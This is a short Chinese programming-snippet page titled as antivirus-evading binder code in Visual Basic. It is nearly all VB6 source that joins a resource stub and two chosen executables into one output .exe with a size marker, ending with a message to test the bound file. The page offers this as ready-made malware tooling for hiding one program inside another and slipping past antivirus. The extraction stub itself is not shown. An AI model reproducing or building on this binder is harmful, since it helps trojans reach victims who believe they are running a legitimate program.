关于vb编写免杀捆绑器代码

Dim FirstFile As String
Dim SecondFile As String
Dim FinalFile As String
Dim first() As Byte
Dim second() As Byte
Dim file1size As Long, file2size As Long

Private Sub Command3_Click()
SecondFile = Text2.Text
FirstFile = Text1.Text
FinalFile = Text3.Text

Open FirstFile For Binary Access Read As #1
file1size = LOF(1)
ReDim first(LOF(1) - 1)
Get #1, , first
Close #1

Open SecondFile For Binary Access Read As #2
file2size = LOF(2)
ReDim second(LOF(2) - 1)
Get #2, , second
Close #2

Open FinalFile For Binary Access Write As #3
Dim myarray() As Byte
myarray = LoadResData(101, "CUSTOM")
Put #3, , myarray
Put #3, 20481, first
Put #3, 20481 + file1size, second
Put #3, 20481 + file1size + file2size, "size" & file1size
Close #3

MsgBox "文件绑定完毕，自行测试！"
End Sub

Private Sub Form_Unload(Cancel As Integer)
Exit Sub
End Sub

Private Sub Text1_DblClick()
cmdl.DialogTitle = "Choose Your First File"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.Action = 1
Text1.Text = cmdl.FileName
End Sub

Private Sub Text2_DblClick()
cmdl.DialogTitle = "Choose Your Second File"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.Action = 1
Text2.Text = cmdl.FileName
End Sub

Private Sub Text3_DblClick()
cmdl.DialogTitle = "Choose Your Final Path"
cmdl.Filter = "Executable File (*.exe)|*.exe"
cmdl.ShowSave
Text3.Text = cmdl.FileName
End Sub

最后

以上就是聪慧小刺猬为你收集整理的关于vb编写免杀捆绑器代码的全部内容，希望文章能够帮你解决关于vb编写免杀捆绑器代码所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。